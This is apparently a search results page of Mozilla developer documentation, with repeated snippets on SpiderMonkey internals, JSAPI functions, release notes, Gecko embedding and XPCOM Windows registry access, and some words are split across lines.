ipt objects that belong to a certain origin (such as "http://mail.google.com/" or "http://www.bank.com/") are placed in a separate compartment. this has some important implications: all objects created by a website reside in the same compartment and hence are located in the same memory region. this improves cache utilization by reducing false sharing of cache lines. false sharing occurs when we ...
...compartment. this has some important implications: all objects created by a website reside in the same compartment and hence are located in the same memory region. this improves cache utilization by reducing false sharing of cache lines. false sharing occurs when we are trying to operate on an object and we have to read an entire cache line of data into the cpu cache. ...
...And 2 more matches
Getting SpiderMonkey source code
you can get the spidermonkey source code in gz
ipped form or directly from the mercurial repository. downloading gz
ipped spidermonkey source code you can download gz
ipped spidermonkey source code from the following urls: http://ftp.mozilla.org/pub/spidermonkey/releases/ http://ftp.mozilla.org/pub/spidermonkey/prereleases/ here is a command-line example of downloading and unz
ipping spidermonkey source code version 59.0: mkdir mozilla cd mozilla wget http://ftp.mozilla.org/pub/spidermonkey/prereleases/59/pre1/mozjs-59.0a1.0.tar.bz2 tar xvf mozjs-59.0a1.0.tar.bz2 these commands should work on most platforms including windows, as long as on windows you are using the mozillabuild bash shell. getting the latest spidermonkey source code from mercurial the mercurial repository at https://hg.
...dermonkey sources. mercurial is also known as hg. the following command line downloads the entire mozilla repository, including the full change history and a lot of gecko and firefox source code that isn't part of spidermonkey. it also changes to the spidermonkey directory (js/src). hg clone https://hg.mozilla.org/mozilla-central/ cd js/src to avoid getting the full change history, click the z
ip or gz links at https://hg.mozilla.org/index.cgi/mozilla-central/file/t
ip. this fetches a snapshot of the current mozilla tree. if you have problems with the instructions above, you can read the full details of using mercurial to get mozilla code here. that page also contains links to several bundles, which can be useful if you have a poor network connection. getting the latest spidermonkey sour...
...mozilla/gecko-dev.git cd gecko-dev/js/src if you want a faster (about 5 times as of january 2015) download, try doing a shallow clone (no version control history). git clone --depth 1 https://github.com/mozilla/gecko-dev.git if you have any problems check the https://wiki.mozilla.org/github page. getting older spidermonkey sources from cvs note: you will need to explicitly fetch the javascr
ipt shell sources even if you currently build another mozilla project, as there are files specific to the shell that are not normally found in a mozilla source tree. just like when you're fetching any other mozilla project from cvs, you need to log into the cvs server first. to do this, cd into the base directory you'd like to check out the code into, then enter the following command at your comman...
...And 2 more matches
Garbage collection
in other words, from the point of view of the rest of the engine, the job of the gc is to allocate cells and automatically collect them. cell is the base class for all classes that are allocated by the gc, e.g., jsobject. ...
...s functions to allocate from the free span. mark bitmap the mark bitmap is represented by chunkbitmap. the mark bitmap has two bits per gc cell, so that it can represent both regular liveness marking ("marked black") as well as reachability from cycle-collected objects ("marked gray"). mark bits are allocated based on the minimum cell size, thus an object comprised of larger cells consumes mult
iple bits in the bitmap (but only uses two of them.) exact stack rooting api note: the information here is about the implementation of gc roots and their use within spidermonkey. for information on how the rooting apis should be used by embedders, read: gc rooting guide. this information has been split out into a separate article: exact stack rooting. marking todo incremental marking increm...
...nformation here is about the implementation of gc roots and their use within spidermonkey. for information on how the rooting apis should be used by embedders, read: gc rooting guide. this information has been split out into a separate article: exact stack rooting. marking todo incremental marking incremental marking means being able to do a bit of marking work, then let the mutator (javascr
ipt program) run a bit, then do another bit of marking work. thus, instead of one long pause for marking, the gc does a series of short pauses. the pauses can be set to be 10ms or less. there is always a possibility that a long pause will be required. if the allocation rate is high during incremental gc, the engine may run out of memory before finishing the incremental gc. if so, the engine must im...
...And 2 more matches
Self-hosted builtins in SpiderMonkey
self-hosted code has access to some functionality that's not available to normal js code. most importantly, it's possible to invoke any function within the scope of any object using the syntax callfunction(fun, receiver, ...args) (or callcontentfunction, see below), which causes fun to be called within the scope of receiver with ...args as its arguments. ...
...as access to, then callfunction(receiver.fun, receiver) wouldn't be guaranteed to work, because content might have changed the value of receiver.fun, so callcontentfunction(receiver.fun, receiver) has to be used. self-hosted functions by default are not constructors and do not have a prototype property, so that they meet the requirements for standard built-in functions as described in the ecmascr
ipt language specification 5.1, clause 15. to make a self-hosted function a constructor, call makeconstructible(functionname) after the function declaration. a prototype property can be added from the self-hosted code itself. all self-hosted functions have direct access to each other and can rely on references being stable, i.e. not changeable by client js code. otoh, self-hosted code doesn't have...
...on.prototype.apply directly. a select set of c++-implemented builtins is installed via the intrinsic_functions array in selfhosting.cpp, as described below. using the same mechanism, c++-implemented helper functions are made available to self-hosted code. some general-purpose functions provided in this way are: the abstract operations toobject, tointeger, and iscallable specified in the ecmascr
ipt language specification. throwtypeerror, throwrangeerror, throwsyntaxerror, which self-hosted code should use instead of throw so that the error message is specified in js.msg and can be localized. the makeconstructible function described above. the file utilities.js provides some additional, js-implemented helper functions. of note, it provides implementations of list and record, types defin...
...And 2 more matches
JIT Optimization Strategies
rom the function, or passed as an argument into calls (except for the apply example listed above). getprop_inferredconstant attempts to optimize an access to a property that seems to be a constant. it applies to property accesses on objects which are global-like in that there is only one instance of them per program. this includes global objects, object literals defined at the top-level of a scr
ipt, and top-level function objects. this optimization makes the assumption that a property that has not changed after it was first assigned, is likely a constant property. it then directly inlines the value of the property into hot code that accesses it. for example, in the following code: var constants = {}; constants.n = 100; function testarray(array) { for (var i = 0; i < array.length; i++)...
...aced with an inline constant. getprop_constant attempts to optimize reading a property that contains a uniquely-typed (or "singleton") object. with uniquely-typed objects, it is guaranteed that no other object has that same type. unique (or "singleton") types are assigned to certain kinds of objects, like global objects, top-level functions, and object literals declared at the top-level of a scr
ipt. if a property has always contained the same uniquely-typed object, then the engine can use the unique type to map back to a specific object, and eliminate the property access, replacing it with a constant reference to the object. when this optimization is successful, property access is eliminated entirely and replaced with an inline constant. the different success and failure conditions are do...
...only integers are ever stored in the x and y properties, then the instances of point will be represented in an "unboxed" mode - with the property values stored as raw 4-byte values within the object. objects which have the unboxed optimization are more compact. getprop_commongetter optimizes access to properties which are implemented by a getter function, where the getter is shared between mult
iple types. this optimization applies most often when the property access site is polymorphic, but all the object types are derived variants of a single base class, where the property access refers to a getter on the base class. consider the following example: function base() {} base.prototype = { get x() { return 3; } }; function derived1() {} derived1.prototype = object.create(base.prototype); ...
...And 2 more matches
JS::AutoVectorRooter
bool empty() const determines if the array is empty (length is zero). bool append(const t &v) appends an element v to the array. bool append(const t *ptr, size_t len) appends a sequence of t specified with a pointer ptr and length len to the array. ...
...urns a pointer to the first element. t *begin() returns a pointer to the first element. const t *end() const returns a pointer to the element next to the last element. t *end() returns a pointer to the element next to the last element. range all() returns the range of the array. const t &back() const returns the last element. descr
iption js::autovectorrooter<t> holds a variable-size rooted array of type t. there are derived classes for the main types: class parent class js::autovaluevector autovectorrooter<value> js::autoidvector autovectorrooter<jsid> js::autoobjectvector added in spidermonkey 24 autovectorrooter<jsobject *> js::autofunctionvector added in spidermon...
...ray of type t. ...
...And 2 more matches
JS::CallArgs
this article covers features introduced in spidermonkey 17 helper class encapsulating access to the callee, this value, arguments, and argument count for a function call. syntax js::callargs js::callargsfromvp(unsigned argc, js::value *vp); name type descr
iption args unsigned number of argument. (2nd argument of jsnative) vp js::value * a pointer to the argument value array. (3nd argument of jsnative) methods methods of js::callargs method descr
iption bool requireatleast(jscontext *cx, const char *fnname, unsigned required) returns true if there are at least required arguments passed in. if false, it reports an error message on the context. methods inherited from js::callargsbase meth...
... js::mutablehandlevalue operator[](unsigned i) const returns the i-th zero-indexed argument. ...
...igned i) const returns the i-th zero-indexed argument. js::handlevalue get(unsigned i) const returns the i-th zero-indexed argument, or undefined if there's no such argument. bool hasdefined(unsigned i) const returns true if the i-th zero-indexed argument is present and is not undefined. methods inherited from js::detail::callreceiverbase method descr
iption jsobject &callee() const returns the function being called, as an object. must not be called after rval() has been used! js::handlevalue calleev() const returns the function being called, as a value. must not be called after rval() has been used! js::handlevalue thisv() const returns the this value passed to the function. this method must not be called when...
...And 2 more matches
JS::Handle
this article covers features introduced in spidermonkey 17 reference to a t that has been rooted elsewhere. this is most useful as a parameter type, which guarantees that the t value is properly rooted. syntax bool somefunction(jscontext *cx, js::handle<t> var) { ... } methods here, ptr represents the private member of js::handle<t>, typed with t. method descr
iption const t *address() const returns a pointer to ptr. const t &get() const returns ptr. operator const t&() const t operator->() const bool operator!=(const t &other) const compares ptr and other. bool operator==(const t &other) const descr
iption js::handle<t> is a const reference to a js::rooted<t>. functions which take gc thing...
...second, if the caller does not pass a rooted value a compile error will be generated, which is quicker and easier to fix than when relying on a separate rooting analysis. ...
...n when relying on a separate rooting analysis. if you want to add additional methods to js::handle for a specific specialization, define a js::handlebase<t> specialization containing them. ...
...And 2 more matches
JS::Remove*Root
31 unregister a pointer to a gc thing so that it is no longer a member of the garbage collector's root set. this enables any pointed-at gc thing to be garbage collected as needed. ...
...ing so that it is no longer a member of the garbage collector's root set. this enables any pointed-at gc thing to be garbage collected as needed. syntax void removevalueroot(jscontext *cx, js::heap<js::value> *vp); void removestringroot(jscontext *cx, js::heap<jsstring *> *rp); void removeobjectroot(jscontext *cx, js::heap<jsobject *> *rp); void removescr
iptroot(jscontext *cx, js::heap<jsscr
ipt *> *rp); void removevaluerootrt(jsruntime *rt, js::heap<js::value> *vp); void removestringrootrt(jsruntime *rt, js::heap<jsstring *> *rp); void removeobjectrootrt(jsruntime *rt, js::heap<jsobject *> *rp); void removescr
iptrootrt(jsruntime *rt, js::heap<jsscr
ipt *> *rp); name type descr
iption cx jscontext * the context from which to remove the root. requires re...
... rp js::heap<jsstring *> address of the jsstring * variable to remove from the root set. this must have been passed to either js::addstringroot or js::addnamedstringroot. rp js::heap<jsobject *> address of the jsobject * variable to remove from the root set. this must have been passed to either js::addobjectroot or js::addnamedobjectroot. rp js::heap<jsscr
ipt *> address of the jsscr
ipt * variable to remove from the root set. this must have been passed to js::addnamedscr
iptroot. descr
iption js::remove*root removes the variable that rp points to from the garbage collector's root set. the entry for vp/rp is removed from the root set for the jsruntime associated with the context cx. see also mxr id search for js::removevalueroot mxr id s...
...And 2 more matches
JS::Rooted
this article covers features introduced in spidermonkey 17 local variable of type t whose value is always rooted. syntax js::rooted<t> var(cx); js::rooted<t> var(cx, initial); js::rooted<t> var(rt); js::rooted<t> var(rt, initial); name type descr
iption cx jscontext * the context in which to add the root. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. rt jsruntime * the runtime in which to add the root. initial t an initial value for the rooted variable. methods here, ptr represents the private member of js::rooted<t>, typed with t. method descr
iption t &get() returns ptr. const t &get() const operator const t&() const ...
...onst t&() const t operator->() const t *address() returns a pointer to ptr. const t *address() const t &operator=(t value) sets the value of ptr to value. t &operator=(const rooted &value) void set(t value) bool operator!=(const t &other) const compares ptr and other. bool operator==(const t &other) const descr
iption js::rooted<t> declares a local variable of type t whose value is always rooted. this is typically used for local variables, or for non-rooted values being passed to a function that requires a handle, e.g. foo(js::rooted<t>(cx, x)). js::rooted<t> may be automatically coerced to a js::handle<t>. js::rooted<t> should be used whenever a local variable's value may be held live across a ca...
... a local variable's value may be held live across a call which can trigger a gc. if you want to add additional methods to rooted for a specific specialization, define a js::rootedbase<t> specialization containing them. ...
...And 2 more matches
JSFastNative
obsolete since javascr
ipt 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8 jsfastnative is the type of fast native functions in the jsapi. apis such as js_initclass and js_definefunctions can create custom methods that are implemented as c/c++ functions of this type, instead of jsnative. the term "native" here refers to c/c++ code as opposed to javascr
ipt code. added in spidermonkey 1.8.1 jsfastnative has been renamed to jsnative. ...
...tclass and js_definefunctions can create custom methods that are implemented as c/c++ functions of this type, instead of jsnative. the term "native" here refers to c/c++ code as opposed to javascr
ipt code. added in spidermonkey 1.8.1 jsfastnative has been renamed to jsnative. syntax typedef jsbool (*jsfastnative)(jscontext *cx, unsigned int argc, jsval *vp); name type descr
iption cx jscontext * the context in which the fast native is being called. provides request. in js_threadsafe builds, the javascr
ipt engine calls this callback only from within an active request on cx. the callback does not need to call js_beginrequest()). argc unsigned int the number of arguments supplied to the function by the caller (as opposed to, say, the number ...
... argc unsigned int the number of arguments supplied to the function by the caller (as opposed to, say, the number of arguments the function is specified to take in its jsfunctionspec). vp jsval * the arguments, including the this argument, the return-value slot, and the callee function object are accessible through this pointer using macros described below. descr
iption the callback should use the following macros to access the fields of vp: macro name descr
iption js_callee(cx, vp) returns the function object that was called, as a jsval. native methods must not call js_callee after calling js_set_rval. (the return value and the callee are stored in the same stack slot.) js_this(cx, vp) returns the this argument a...
...And 2 more matches
JS_AddFinalizeCallback
allback function for finalization. syntax bool js_addfinalizecallback(jsruntime *rt, jsfinalizecallback cb, void *data); // added in spidermonkey 38 (jsapi 32) void js_removefinalizecallback(jsruntime *rt, jsfinalizecallback cb); // added in spidermonkey 38 (jsapi 32) void js_setfinalizecallback(jsruntime *rt, jsfinalizecallback cb); // obsolete since jsapi 32 name type descr
iption rt jsruntime * the jsruntime for which to set the finalization callback. cb jsfinalizecallback pointer to the new callback function to use. data void * passed to data parameter for jsfinalizecallback. callback syntax typedef enum jsfinalizestatus { jsfinalize_group_start, jsfinalize_group_end, jsfinalize_collection_end } jsfinal...
...back function to use. data void * passed to data parameter for jsfinalizecallback. callback syntax typedef enum jsfinalizestatus { jsfinalize_group_start, jsfinalize_group_end, jsfinalize_collection_end } jsfinalizestatus; typedef void (* jsfinalizecallback)(jsfreeop *fop, jsfinalizestatus status, bool iscompartment, void *data); name type descr
iption fop jsfreeop * a pointer to an instance of jsfreeop. status jsfinalizestatus one of the jsfinalizestatus constants, described below, indicating the stage of finalize. iscompartment bool false if all compartments are being collected, true if a compartment is being collected. data void * data parameter specified in js_addfinalizecallba...
...e of jsfreeop. status jsfinalizestatus one of the jsfinalizestatus constants, described below, indicating the stage of finalize. iscompartment bool false if all compartments are being collected, true if a compartment is being collected. data void * data parameter specified in js_addfinalizecallback. added in spidermonkey 38 name descr
iption jsfinalize_group_start called when preparing to sweep a group of compartments, before anything has been swept. the collector will not yield to the mutator before calling the callback with jsfinalize_group_end status. jsfinalize_group_end called when preparing to sweep a group of compartments. weak references to unmarked things have been removed and things that are not ...
...And 2 more matches
JS_CompileUTF8File
obsolete since jsapi 19this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. compile a scr
ipt, reading the source code from a file. syntax jsobject * js_compileutf8file(jscontext *cx, jsobject *obj, const char *filename); name type descr
iption cx jscontext * the context in which to compile the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...cr
ipt, reading the source code from a file. syntax jsobject * js_compileutf8file(jscontext *cx, jsobject *obj, const char *filename); name type descr
iption cx jscontext * the context in which to compile the scr
ipt. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object with which the scr
ipt is associated. filename const char * name of file containing the scr
ipt to compile. descr
iption js_compileutf8file compiles the text of scr
ipt in an external file location for execution by the js engine. filename is the name of the file containing the scr
ipt to compile. on success, js_compileutf8file returns an object that represents the newly compiled scr
ipt. otherwise i...
... scr
ipt in an external file location for execution by the js engine. filename is the name of the file containing the scr
ipt to compile. on success, js_compileutf8file returns an object that represents the newly compiled scr
ipt. otherwise it returns null. js_compileutf8file is deprecated, use file, use js::compile instead. see also the jsapi user guide contains example code using compiled scr
ipts. ...
...And 2 more matches
JS_ConvertArguments
of js values, passed in an argument array, to their corresponding js types. syntax bool js_convertarguments(jscontext *cx, const js::callargs &args, const char *format, ...); // added in spidermonkey 31 bool js_convertarguments(jscontext *cx, unsigned argc, jsval *argv, const char *format, ...); // obsolete since jsapi 30 name type descr
iption cx jscontext * the context in which to perform any necessary conversions. cx also affects the interpretation of format, if js_addargumentformatter has been called. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. args const js::callargs & reference to the arguments to convert. added in spidermonkey 31...
...t be one pointer for each parameter described in format. variables for optional parameters must already be initialized, because if an optional parameter is not in argv, js_convertarguments does not modify the corresponding variable. the variables do not need to be rooted. (if conversion creates a new gc thing, the corresponding jsval is written back to argv, which is rooted.) descr
iption js_convertarguments provides a convenient way to translate a series of js values into their corresponding js types with a single function call. it saves you from having to write separate tests and elaborate if...else statements in your function code to retrieve and translate mult
iple js values for use with your own functions. cx is the context for the call. argc indicates the number of js v...
...he call. argc indicates the number of js values you are passing in for conversion. argv is a pointer to the array of js values to convert. format is a null-terminated c string. each element of the array indicates the c type into which to convert the next available js value. ...
...And 2 more matches
JS_ConvertValue
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...And 2 more matches
JS_DefinePropertyWithTinyId
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object for which to create the new property. name const char * or const jschar * name for the property to create. namelen size_t (only in js_defineucpropertywithtiny...
... 8-bit id to aid in sharing getter and setter callbacks among properties. value jsval initial stored value for the new property. getter jspropertyop getproperty method for retrieving the current property value. setter jspropertyop setproperty method for specifying a new property value. attrs unsigned int property attributes. descr
iption js_definepropertywithtinyid defines an object property with a tiny id. js_defineucpropertywithtinyid is the unicode version of the function. except for the tinyid parameter, these functions behave exactly as js_defineproperty and js_defineucproperty. see those functions for more details. tinyid is a signed 8-bit integer that affects the id value passed to certain callbacks. any time the jav...
... js_definepropertywithtinyid defines an object property with a tiny id. js_defineucpropertywithtinyid is the unicode version of the function. except for the tinyid parameter, these functions behave exactly as js_defineproperty and js_defineucproperty. see those functions for more details. tinyid is a signed 8-bit integer that affects the id value passed to certain callbacks. ...
...And 2 more matches
JS_GetSecurityCallbacks
callbacks const jssecuritycallbacks * a pointer to the new callbacks for the runtime. callback structure struct jssecuritycallbacks { jscspevalchecker contentsecuritypolicyallows; // added in spidermonkey 1.8.5 jssubsumesop subsumes; // added in spidermonkey 31 ...
...callbacks const jssecuritycallbacks * a pointer to the new callbacks for the runtime. callback structure struct jssecuritycallbacks { jscspevalchecker contentsecuritypolicyallows; // added in spidermonkey 1.8.5 jssubsumesop subsumes; // added in spidermonkey 31 jscheckaccessop checkobjectaccess; // obsolete since jsapi 29 jsprinc
ipalstranscoder princ
ipalstranscoder; // obsolete since jsapi 13 jsobjectprinc
ipalsfinder findobjectprinc
ipals; // obsolete since jsapi 13 }; name type descr
iption contentsecuritypolicyallows jscspevalchecker a pointer to the function which checks if a csp instance wants to disable eval() and friends. use null is not needed. subsumes jssubsumesop...
...it allows the embedding to control certain aspects of js code execution based on security settings of the global object the code is executed in. if callbacks is null, it sets callbacks to default value. ...
...And 2 more matches
JS_IsRunning
otherwise it returns false. ...
...otherwise it returns false. ...
...otherwise it returns false. ...
...And 2 more matches
JS_LookupProperty
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. name or id const char * or const char16_t *or js::handleid name of the property to look up. namelen siz...
...mbination of bits requesting special search behavior. see flags below. objp js::mutablehandleobject out parameter. on success, *objp receives the object on which the property was found. this will be either obj or an element on obj's prototype chain. vp js::mutablehandleobject out parameter. on success, *vp receives the stored value of the property, if any. descr
iption the functions js_lookupproperty, js_lookupucproperty, js_lookuppropertybyid, js_lookuppropertywithflags, and js_lookuppropertywithflagsbyid search a specified object, obj, for a property with the given name. these functions all have similar behavior: the search starts with obj and proceeds along the prototype chain. if the property is found, *vp receives the property's stored value, or tru...
...have such a property, *vp receives undefined and the return value is true (to indicate no error occurred). on error or exception (such as running out of memory during the search), the return value is false, and the value left in *vp is undefined. there is no way to tell the difference between not finding any property and finding a property whose value is undefined. sorry. ...
...And 2 more matches
JS_NewExternalString
hose characters are stored in external memory. syntax jsstring * js_newexternalstring(jscontext *cx, const char16_t *chars, size_t length, const jsstringfinalizer *fin); jsstring * js_newexternalstringwithclosure(jscontext *cx, jschar *chars, size_t length, int type, void *closure); // obsolete since jsapi 13 name type descr
iption cx jscontext * the context in which to create the new string. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. chars const char16_t * or const jschar * pointer to the first element of an array of char16_ts. this array is used as the character buffer of the jsstring to be created. the array must be populated with the ...
...est on this jscontext. chars const char16_t * or const jschar * pointer to the first element of an array of char16_ts. this array is used as the character buffer of the jsstring to be created. ...
...element of an array of char16_ts. this array is used as the character buffer of the jsstring to be created. the array must be populated with the desired character data before js_newexternalstring is called, and the array must remain in memory, with its contents unchanged, for as long as the javascr
ipt engine needs to hold on to it. (ultimately, the string will be garbage collected, and the javascr
ipt engine will call the string finalizer callback, allowing the application to free the array.) the array does not need to be zero-terminated. length size_t the number of characters in the array chars. fin jsstringfinalizer a string finalizer the javascr
ipt engine should use (later) to free the string buffer chars. added in spidermonkey 17 type int (js_n...
...And 2 more matches
JS_NewObject
requires request. ...
... the jsclass may be used to override low-level object behavior, including s...
... the jsclass may be used to override low-level object behavior, including such details as the physical memory layout of the object and how property lookups are done. ...
...And 2 more matches
JS_ReportErrorNumber
jserrorcallback errorcallback, void *userref, const unsigned errornumber, ...); void js_reporterrornumberucarray(jscontext *cx, jserrorcallback errorcallback, void *userref, const unsigned errornumber, const char16_t **args); // added in spidermonkey 19 name type descr
iption cx jscontext * the context in which to report the error. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. flags unsigned error report flags. errorcallback jserrorcallback callback to fetch the error message. userref void * a pointer to application data. the javascr
ipt engine passes this p...
...the meaning of the error number is up to the application. ... / args ... ...
...rterrornumber or js_reporterrorflagsandnumber, or char16_t * for js_reporterrornumberuc or js_reporterrorflagsandnumberuc. the number of additional arguments required depends on the error message, which is determined by the errorcallback. ...
...And 2 more matches
JS_SetCheckObjectAccessCallback
set the runtime-wide check-object-access callback. this function is deprecated. in spidermonkey 1.8.1 and later, use js_setruntimesecuritycallbacks instead. syntax jscheckaccessop js_setcheckobjectaccesscallback( jsruntime *rt, jscheckaccessop acb); name type descr
iption rt jsruntime * the runtime to configure. acb jscheckaccessop the new check-object-access callback. ...
... set the runtime-wide check-object-access callback. this function is deprecated. in spidermonkey 1.8.1 and later, use js_setruntimesecuritycallbacks instead. syntax jscheckaccessop js_setcheckobjectaccesscallback( jsruntime *rt, jscheckaccessop acb); name type descr
iption rt jsruntime * the runtime to configure. acb jscheckaccessop the new check-object-access callback. ...
...js_setcheckobjectaccesscallback returns the previous check-object-access callback. ...
...And 2 more matches
JS_SetFunctionCallback
obsolete since jsapi 37this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. sets a callback to be run whenever a javascr
ipt function is invoked or exited. this lets you trace the execution of code, and is particularly useful for javascr
ipt tracers and profilers since it works across all run modes (interpreter, method jit, trace jit). using this function may have a significant performance impact. see function tracing for an example. ...
...since it works across all run modes (interpreter, method jit, trace jit). using this function may have a significant performance impact. see function tracing for an example. note: this method is only available if moz_trace_jscalls was defined at compile time using --enable-trace-jscalls. syntax void js_setfunctioncallback(jscontext *cx, jsfunctioncallback fcb); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. fcb jsfunctioncallback the callback to execute when javascr
ipt functions are invoked and exited. specify null to stop calling the current callback. the callback must not modify the current ...
...ntext. fcb jsfunctioncallback the callback to execute when javascr
ipt functions are invoked and exited. specify null to stop calling the current callback. the callback must not modify the current state of execution. the call stack cannot be relied upon, because this callback may be invoked from the jit code when the stack frame and context are in an indeterminate state. descr
iption js_setfunctioncallback sets a c function to be called each time a javascr
ipt function is invoked or exits. fcb is a pointer to the c function to call. ...
...And 2 more matches
JS_SetGCZeal
this article covers features introduced in spidermonkey 1.8 enable gc zeal, a testing and debugging feature that helps find gc-related bugs in jsapi applications. syntax void js_setgczeal(jscontext *cx, uint8_t zeal, uint32_t frequency); name type descr
iption cx jscontext * a context. the gc zeal level of the associated jsruntime is set. zeal uint8_t the desired level of garbage collection. frequency uint32_t with some zeal levels, a gc is triggered every frequency allocations. descr
iption js_setgczeal sets the level of additional garbage collection to perform for a runtime, for the purpose of finding or reproducing bugs. there are several different levels which have different functions: zeal le...
... the default: no additional collections are performed. 1 collect when roots are added or removed. 2 collect when every frequency allocations. ...
...arriers between instructions. 5 verify pre write barriers between window paints. 6 verify stack rooting. 7 collect the nursery every frequency nursery allocations. 8 incremental gc in two slices: 1) mark roots 2) finish collection. 9 incremental gc in two slices: 1) mark all 2) new marking and finish. 10 incremental gc in mult
iple slices. 11 verify post write barriers between instructions. 12 verify post write barriers between paints. 13 check internal hashtables on minor gc. 14 perform a shrinking collection every frequency allocations. with gc zeal enabled, gc-related crashes are much easier to reproduce (they happen more reliably) and debug (they happen sooner, clo...
...And 2 more matches
JS_SetVersionForCompartment
the version comes from the jsversion enumerated type. ...
...the version comes from the jsversion enumerated type. ...
...the version comes from the jsversion enumerated type. ...
...And 2 more matches
JS_ValueToObject
on success, this function stores either null or a pointer to the resulting object in *objp and returns true. ...
...on success, this function stores either null or a pointer to the resulting object in *objp and returns true. ...
...on success, this function stores either null or a pointer to the resulting object in *objp and returns true. otherwise it returns false and the value left in *objp is unspecified. if v is jsval_null or jsval_void, the result is null. ...
...And 2 more matches
SpiderMonkey 31
these release notes are incomplete. the mozilla javascr
ipt team is pleased to announce the release of spidermonkey 31. spidermonkey 31 is the javascr
ipt engine that sh
ipped in firefox 31. it continues to improve performance over previous spidermonkey releases, with a significantly improved garbage collector and other features. it also contains new language and api features described in detail below. please let us know about your experiences with this release by posting in the mozilla.dev.tech.js-engine newsgroup. or file bugs at bugzilla.mozilla.org under product: core, component: javascr
ipt engine. the download url is outdated and spidermonkey not release alone! get it here mozilla-esr31 you will find it in "firefox extended support release 31" package on hg release platform sup...
... platform support spidermonkey 31 is supported on all the platforms where firefox 31 runs. compiling it requires a c++ compiler, and the jsapi can only be used from c++ code. if you are compiling with microsoft's visual studio, note that the minimum supported version is msvc10/2010: msvc8/9 support has been dropped. spidermonkey 31 includes a just-in-time compiler (jit) that compiles javascr
ipt to machine code, for a significant speed increase. it is supported on x86, x86_64, and arm architectures. on some other platforms (sparc, m
ips), the jit is provided but not supported. on all other platforms the jit is simply disabled; javascr
ipt code runs in an interpreter, as in previous versions. it's the same language, just not as fast. migrating to spidermonkey 31 the first change most em...
...se constants. they have been replaced by bool, true, and false respectively. many jsclass and js::class instances are now explicitly const, and several apis have been updated to use const jsclass * and const js::class * pointers. all references to shortid/tinyid have been removed. that includes the apis js_definepropertywithtinyid and js_defineucpropertywithtinyid as well as the jspropertydescr
iptor structure and the matching jsprop_shortid flag. these and other changes are explained in detail below. new javascr
ipt language features javascr
ipt 31 includes significant updates to language features, yo. new c++ apis jsapi is now a c++-only api. please note that spidermonkey reserves the js:: namespace for itself (and the js:: namespace for internal use). js_init is a new function wh...
...And 2 more matches
Embedded Dialog API
embedding gecko cannot tightly control its own windows and still allow gecko to be a fully functional web browser. in any single window, gecko can be expected to play nicely within its given boundaries. but it must be allowed to create additional windows at times perhaps unexpected by the containing appliction. these new windows can be entire new browser windows opened in response to web page scr
ipt, or dialogs or alerts which may arise from scr
ipt or merely during normal operation of the browser. part of gecko's embedding api is callbacks into the embedding application for creating new windows. the complete windowing portion of the api is large and complex, but it need not be entirely implemented. its simplest requirements are that the app must allow gecko to create new browser windows and...
... builds for itself, independently of gecko. applications which implement merely the simplest, base gecko windowing api will then have a mixture of xul and native windows. applications concerned with presenting a consistent dialog appearance have the option of implementing the complete dialog posing api. responsibilities of the embedding application basic windowing api to be able to respond to scr
ipt requests to open new windows, an embedded gecko browser must have a way of opening new windows. this is accomplished using a callback into the embedding application. this basic api will by itself provide the minimal functionality gecko needs to create new windows, and an embedding application must implement at least this much. applications concerned with a consistent overall dialog appearance wi...
...lemented in several different components, so an application need not override every single dialog in gecko to override some. apologies, but at this time there is no complete list of all dialogs and the components in which they reside. stay tuned for updates. however, it's nearly accurate to claim that the majority of all dialogs and alerts posed by gecko do reside in a single generic component, ns
ipromptservice (ns
ipromptservice). an mfc example is implemented in promptservice.cpp. a powerplant example is implemented in promptservice.cpp. (testgtkembed doesn't override promptservice; it uses the default dialogs.) both are source for a library set up as a mozilla component and factory. (note to self: is there decent documentation on writing factories or components? i can't find any.) both con...
...And 2 more matches
Accessing the Windows Registry Using XPCOM
duction when implementing windows-specific functionality, it is often useful to access the windows registry for information about the environment or other installed programs. to this end, there exist xpcom interfaces to read and write registry data. this article will show you how to use the available interfaces in several mozilla products. the examples in this document are all written in javascr
ipt using xpcom. support in firefox 1.5 or newer in firefox 1.5, a new api was added, nsiwindowsregkey, which provides extensive registry functionality. the interface follows the windows api fairly closely, but with many of the low-level details taken care of for you. if you are writing an extension that only needs to support firefox 1.5 or newer, then you only need to read this section. a simple...
...). second, you must call open() on the key before attempting to read a value. notice in the open() call that the root key to use is specified using the named constants available on the nsiwindowsregkey interface, in this case root_key_local_machine, which corresponds to hkey_local_machine in the windows registry. also notice that the path to the key has backslashes escaped, a necessity in javascr
ipt and c++ string constants. the desired access rights are specified using a named constant from the interface, in this example access_read. this can be very important when dealing with non-administrator accounts with restricted privileges. the value is read using readstringvalue(). you have to specify what type of data you expect to read, which we will expand on later. finally, note that you sho...
...t open the key you are interested in. the example above demonstates this using the open() method. if you want to create a new key, you can use the create() method, which takes the same parameters as open(). note that it is not an error to call create() on an existing key, and doing so has the same result as calling open(). both of these methods take a root key as the first parameter. from javascr
ipt, you will want to use the named constants on the interface for this parameter. they are: root_key_classes_root -- corresponds to hkey_classes_root root_key_current_user -- corresponds to hkey_current_user root_key_local_machine -- corresponds to hkey_local_machine the second parameter for open() and create() is the path to the key. as noted in the example above, you will need to escape ba...
...And 2 more matches
Preface
make up xpcom. accordingly, the book is arranged so that you can follow along and create your own components or learn about different xpcom topics individually, as in a reference work. for example, the introduction includes a discussion of components and what they are, and the first chapter - in which you compile the basic code and register it with mozilla - prompts a discussion of the relationsh
